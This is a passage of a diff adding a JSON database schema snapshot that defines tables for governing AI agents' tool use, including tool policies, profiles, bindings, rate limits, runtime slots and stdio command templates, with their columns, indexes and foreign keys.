+          "with": {}
+        },
+        "tool_policies_company_name_uq": {
+          "name": "tool_policies_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_policies_company_id_companies_id_fk": {
+          "name": "tool_policies_company_id_companies_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_policies_created_by_agent_id_agents_id_fk": {
+          "name": "tool_policies_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_policies",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_bindings": {
+      "name": "tool_profile_bindings",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_type": {
+          "name": "target_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "target_id": {
+          "name": "target_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "priority": {
+          "name": "priority",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 100
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_bindings_company_target_idx": {
+          "name": "tool_profile_bindings_company_target_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_bindings_target_profile_uq": {
+          "name": "tool_profile_bindings_target_profile_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_bindings_company_id_companies_id_fk": {
+          "name": "tool_profile_bindings_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_bindings_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_bindings_created_by_agent_id_agents_id_fk": {
+          "name": "tool_profile_bindings_created_by_agent_id_agents_id_fk",
+          "tableFrom": "tool_profile_bindings",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profile_entries": {
+      "name": "tool_profile_entries",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_id": {
+          "name": "profile_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selector_type": {
+          "name": "selector_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "effect": {
+          "name": "effect",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'include'"
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "catalog_entry_id": {
+          "name": "catalog_entry_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "tool_name": {
+          "name": "tool_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "risk_level": {
+          "name": "risk_level",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "conditions": {
+          "name": "conditions",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profile_entries_company_profile_idx": {
+          "name": "tool_profile_entries_company_profile_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_application_idx": {
+          "name": "tool_profile_entries_application_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "application_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_connection_idx": {
+          "name": "tool_profile_entries_connection_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profile_entries_catalog_entry_idx": {
+          "name": "tool_profile_entries_catalog_entry_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "catalog_entry_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profile_entries_company_id_companies_id_fk": {
+          "name": "tool_profile_entries_company_id_companies_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_profile_id_tool_profiles_id_fk": {
+          "name": "tool_profile_entries_profile_id_tool_profiles_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_profiles",
+          "columnsFrom": [
+            "profile_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_application_id_tool_applications_id_fk": {
+          "name": "tool_profile_entries_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_connection_id_tool_connections_id_fk": {
+          "name": "tool_profile_entries_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk": {
+          "name": "tool_profile_entries_catalog_entry_id_tool_catalog_entries_id_fk",
+          "tableFrom": "tool_profile_entries",
+          "tableTo": "tool_catalog_entries",
+          "columnsFrom": [
+            "catalog_entry_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_profiles": {
+      "name": "tool_profiles",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "profile_key": {
+          "name": "profile_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "default_action": {
+          "name": "default_action",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'deny'"
+        },
+        "new_tools_reviewed_at": {
+          "name": "new_tools_reviewed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_profiles_company_status_idx": {
+          "name": "tool_profiles_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_key_uq": {
+          "name": "tool_profiles_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "profile_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_profiles_company_name_uq": {
+          "name": "tool_profiles_company_name_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_profiles_company_id_companies_id_fk": {
+          "name": "tool_profiles_company_id_companies_id_fk",
+          "tableFrom": "tool_profiles",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_rate_limit_counters": {
+      "name": "tool_rate_limit_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "policy_id": {
+          "name": "policy_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "counter_key": {
+          "name": "counter_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_type": {
+          "name": "scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "scope_id": {
+          "name": "scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_kind": {
+          "name": "window_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "window_start_at": {
+          "name": "window_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "limit": {
+          "name": "limit",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "remaining": {
+          "name": "remaining",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "reset_at": {
+          "name": "reset_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_rate_limit_counters_company_idx": {
+          "name": "tool_rate_limit_counters_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_rate_limit_counters_window_uq": {
+          "name": "tool_rate_limit_counters_window_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "policy_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "counter_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "window_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_rate_limit_counters_company_id_companies_id_fk": {
+          "name": "tool_rate_limit_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_rate_limit_counters_policy_id_tool_policies_id_fk": {
+          "name": "tool_rate_limit_counters_policy_id_tool_policies_id_fk",
+          "tableFrom": "tool_rate_limit_counters",
+          "tableTo": "tool_policies",
+          "columnsFrom": [
+            "policy_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_metric_counters": {
+      "name": "tool_runtime_metric_counters",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "metric": {
+          "name": "metric",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "bucket_start_at": {
+          "name": "bucket_start_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "count": {
+          "name": "count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_metric_counters_company_metric_idx": {
+          "name": "tool_runtime_metric_counters_company_metric_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_metric_counters_bucket_uq": {
+          "name": "tool_runtime_metric_counters_bucket_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "metric",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "bucket_start_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_metric_counters_company_id_companies_id_fk": {
+          "name": "tool_runtime_metric_counters_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_metric_counters",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_runtime_slots": {
+      "name": "tool_runtime_slots",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "application_id": {
+          "name": "application_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "connection_id": {
+          "name": "connection_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_scope_type": {
+          "name": "owner_scope_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'connection'"
+        },
+        "owner_scope_id": {
+          "name": "owner_scope_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "runtime_kind": {
+          "name": "runtime_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'local_stdio'"
+        },
+        "slot_key": {
+          "name": "slot_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'stopped'"
+        },
+        "reuse_key": {
+          "name": "reuse_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "workspace_scope": {
+          "name": "workspace_scope",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "credential_scope_hash": {
+          "name": "credential_scope_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider": {
+          "name": "provider",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "provider_ref": {
+          "name": "provider_ref",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "process_id": {
+          "name": "process_id",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "command_template_key": {
+          "name": "command_template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "health_status": {
+          "name": "health_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'unchecked'"
+        },
+        "health_message": {
+          "name": "health_message",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_health_check_at": {
+          "name": "last_health_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_started_at": {
+          "name": "last_started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "stopped_at": {
+          "name": "stopped_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_used_at": {
+          "name": "last_used_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_expires_at": {
+          "name": "idle_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "idle_deadline_at": {
+          "name": "idle_deadline_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_error": {
+          "name": "last_error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "tool_runtime_slots_company_idx": {
+          "name": "tool_runtime_slots_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_connection_idx": {
+          "name": "tool_runtime_slots_connection_idx",
+          "columns": [
+            {
+              "expression": "connection_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_execution_workspace_idx": {
+          "name": "tool_runtime_slots_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "tool_runtime_slots_slot_key_uq": {
+          "name": "tool_runtime_slots_slot_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "slot_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "tool_runtime_slots_company_id_companies_id_fk": {
+          "name": "tool_runtime_slots_company_id_companies_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_application_id_tool_applications_id_fk": {
+          "name": "tool_runtime_slots_application_id_tool_applications_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_applications",
+          "columnsFrom": [
+            "application_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_connection_id_tool_connections_id_fk": {
+          "name": "tool_runtime_slots_connection_id_tool_connections_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "tool_connections",
+          "columnsFrom": [
+            "connection_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk": {
+          "name": "tool_runtime_slots_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "tool_runtime_slots_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "tool_runtime_slots_issue_id_issues_id_fk": {
+          "name": "tool_runtime_slots_issue_id_issues_id_fk",
+          "tableFrom": "tool_runtime_slots",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.tool_stdio_command_templates": {
+      "name": "tool_stdio_command_templates",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "template_key": {
+          "name": "template_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "command": {
+          "name": "command",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "args": {
+          "name": "args",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "env_keys": {
+          "name": "env_keys",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "tools": {
+          "name": "tools",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "disabled_at": {
+          "name": "disabled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
